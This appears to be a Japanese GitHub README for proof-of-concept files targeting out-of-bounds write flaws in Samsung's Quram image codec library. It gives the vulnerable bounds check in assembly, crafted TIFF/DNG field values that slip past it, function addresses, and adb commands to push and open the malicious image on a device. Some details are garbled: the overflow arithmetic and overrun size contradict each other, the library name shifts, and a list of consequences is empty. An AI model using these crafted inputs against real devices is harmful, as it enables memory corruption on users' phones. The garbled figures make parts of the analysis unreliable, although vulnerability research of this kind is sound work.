
細工されたTIFF/DNGファイルを生成し、Samsungのlibimagecodec.quram.soにおける領域外書き込みを誘発します。バイナリ解析と再現手順を含みます。
このリポジトリには、Samsung Androidデバイスで使用されるQuramsoftイメージコーデックライブラリ (libimagecodec.quram.so) における境界外 (OOB) 書き込みの脆弱性を示す概念的なProof-of-Concept (PoC) ファイルが含まれています。
| CVE | 形式 | タイプ | 重大度 | CVSS 4.0 | パッチ適用リリース |
|---|---|---|---|---|---|
| CVE-2026-21045 | TIFF | 境界外書き込み (CWE-787) | 重大 | 8.4 | SMR Jul-2026 Release 1 |
| CVE-2026-21048 | DNG | 境界外書き込み (CWE-787) | 高 | — | SMR Jul-2026 Release 1 |
/system/lib64/libimagecodec.quram.soこの脆弱性は、IFD (Image File Directory) タグ解析関数 WINKJ_ReadExifField (64ビットバイナリ内オフセット 0x13a0a8) に存在します。この関数は、それぞれが12バイトの構造体である個々のTIFF/EXIF IFDエントリを処理します:
Offset Size Field
------ ---- -----
0 2 Tag ID
2 2 Data Type (1=BYTE, 2=ASCII, 3=SHORT, 4=LONG, 5=RATIONAL, etc.)
4 4 Count (number of values)
8 4 Value / Offset to data
count * element_size > 4 の場合、4バイトのValueフィールドはファイルオフセット (実際のデータが存在する場所を指す) として扱われます。その後、コードはアドレス 0x13a258 で境界チェックを実行します:
add w8, w6, w7 ; w8 = value_offset + (count * element_size) [32-bit]
cmp w8, w5 ; compare against remaining buffer size
b.ls ok ; if w8 <= buffer_size, proceed
この脆弱性は、加算における32ビット符号なし整数オーバーフローです。攻撃者が value_offset と count * element_size の合計が小さな値にラップアラウンドするように細工すると、base + value_offset での実際のメモリアクセスが境界外であるにもかかわらず、チェックが通過します。
例 (UNDEFINEDタイプ、element_size = 1):
32ビット加算 0x17FFF + 0xFFFF0001 = 0x10008000 は 0x8000 に切り詰められ、これは buffer_size と等しくなります。チェックは通過しますが、実際のデータポインタ (base + 0x17FFF) は割り当てられたバッファの終端を0x7FFFバイト超えた位置にあります。
TIFFReadDirectory / WINKJ_ReadTiffInfo
└─> WINKJ_ReadTiffIFDInfo (allocates IFD buffer)
└─> for each IFD entry:
└─> WINKJ_ReadExifField (parses entry, reads value data)
└─> Switch on Data Type (jump table at 0x13a15c)
├─ Type 0 (BYTE/ASCII/UNDEFINED): handler at 0x13a15c
├─ Type 3/8 (SHORT/SSHORT): handler at 0x13a1d0
├─ Type 4/9/11 (LONG/SLONG/FLOAT): handler at 0x13a17c
└─ Type 5/10/12 (RATIONAL/SRATIONAL/DOUBLE): handler at 0x13a1ac
Each handler -> reads data at offset -> bounds check at 0x13a258
| ファイル | 説明 |
|---|---|
cve-2026-21045_tiff_oob_poc.py | poc_crash.tif を生成 — 細工されたcount/offsetを持つASCIIタグを介してOOB書き込みを引き起こす不正なTIFF |
cve-2026-21048_dng_oob_poc.py | poc_crash.dng を生成 — 細工されたcount/offsetを持つUNDEFINEDタグを介してOOB書き込みを引き起こす不正なDNG |
# Generate TIFF PoC
python3 cve-2026-21045_tiff_oob_poc.py -o payload.tif
# Generate DNG PoC
python3 cve-2026-21048_dng_oob_poc.py -o payload.dng
# Transfer to device and trigger (e.g., via Gallery/MMS)
adb push payload.tif /sdcard/Download/
adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload.tif -t image/tiff
パッチ未適用デバイス (セキュリティパッチ < 2026年7月) では、Samsung Gallery (またはQuramデコーダを使用する任意のアプリ) で細工されたTIFF/DNGファイルを開くと、ヒープメモリ破損が発生し、以下の結果につながる可能性があります:
パッチ適用済みデバイス (SMR Jul-2026+) では、画像は無効として拒否されるか、安全に処理されるべきです。完全にパッチ適用済みのデバイスでのクラッシュは、別の未パッチの問題を示している可能性があります。
File: libimagecodec.quram.so (64-bit)
SHA256: (verify against your copy)
NDK: r23c (Android 21)
Built: 2021-12-31 (placeholder date)
Soname: libimagecodec.quram.so
WINKJ_ReadExifField から抽出:
element_size = 1 のすべてのタイプ (BYTE、ASCII、UNDEFINED) は同じハンドラを共有し、整数オーバーフローによるバイパスに対して同様に脆弱です。
これらのProof of Conceptは、教育およびセキュリティ研究目的のみで提供されています。これらは脆弱性のメカニズムを示し、ユーザーと開発者がリスクを理解するのに役立ちます。所有していない、またはテストする明示的な許可を得ていないシステムに対して、これらを使用しないでください。
| フィールド | 値 (16進数) | 10進数 |
|---|
count | 0xFFFF0001 | 4,294,901,761 |
element_size | 1 | 1 |
count * element_size | 0xFFFF0001 ≡ -65535 (mod 2³²) | 4,294,901,761 |
value_offset | 0x00017FFF | 98,303 |
value_offset + count*size | 0x00008000 (オーバーフロー!) | 32,768 |
buffer_size | 0x00008000 | 32,768 |
チェック結果: 0x8000 <= 0x8000 | ✅ PASS | — |
実際のメモリアクセス: base + 0x17FFF | バッファを0x7FFFバイト超過 | ❌ OOB |
| 関数 | アドレス (64ビット) | サイズ | 目的 |
|---|
WINKJ_ReadExifField | 0x13a0a8 | 912 | 個々のIFDエントリを解析 (脆弱) |
WINKJ_ReadTiffIFDInfo | 0x139d28 | 896 | すべてのIFDエントリを読み取る |
WINKJ_ReadTiffInfo | 0x139ad4 | 596 | 高レベルTIFF情報パーサー |
WINKJ_GetTiffInfo | 0x1393fc | 1752 | メインのTIFF解析エントリポイント |
decodeTIFF | 0x1a2adc | 580 | libtiffを介してTIFF画像をデコード |
getTIFFImageInfo | 0x1a2d20 | 508 | TIFF画像のメタデータを取得 |
copySubImageBuffer | 0x0b2824 | 324 | サブイメージ領域をコピー |
TIFFReadDirectory | 0x1aac78 | 5896 | libtiff 4.6.0 ディレクトリリーダー |
_TIFFMultiply32 | 0x1a2f1c | 56 | 安全な32ビット乗算チェック |
_TIFFMultiply64 | 0x1a2f58 | 48 | 安全な64ビット乗算チェック |
| タイプ | 名前 | 要素サイズ | ハンドラアドレス |
|---|
| 1 | BYTE | 1 | 0x13a15c |
| 2 | ASCII | 1 | 0x13a15c |
| 3 | SHORT | 2 | 0x13a1d0 |
| 4 | LONG | 4 | 0x13a17c |
| 5 | RATIONAL | 8 | 0x13a1ac |
| 6 | SBYTE | 1 | 0x13a15c |
| 7 | UNDEFINED | 1 | 0x13a15c |
| 8 | SSHORT | 2 | 0x13a1d0 |
| 9 | SLONG | 4 | 0x13a17c |
| 10 | SRATIONAL | 8 | 0x13a1ac |
| 11 | FLOAT | 4 | 0x13a17c |
| 12 | DOUBLE | 8 | 0x13a1ac |
| CVE | 説明 | ステータス |
|---|
| CVE-2025-58477 | libimagecodec.quram.so のIFDタグ解析におけるOOB書き込み (SMR Dec-2025) | ✅ パッチ適用済み |
| CVE-2026-20973 | libimagecodec.quram.so におけるOOB読み取り (SMR Jan-2026) | ✅ パッチ適用済み |
| CVE-2026-21045 | libimagecodec.media.quram.so のTIFF解析におけるOOB書き込み (SMR Jul-2026) | ⚠️ 私の環境では未パッチ |
| CVE-2026-21048 | libimagecodec.media.quram.so のDNG解析におけるOOB書き込み (SMR Jul-2026) | ⚠️ 私の環境では未パッチ |
| CVE-2026-4775 | libtiff 4.6.0 putcontig8bitYCbCr44tile における符号付き整数オーバーフロー | ⚠️ 私の環境では未パッチ |
| CVE-2024-7006 | libtiff tif_dirinfo.c におけるNULLポインタ参照 | ✅ 4.6.1で修正済み |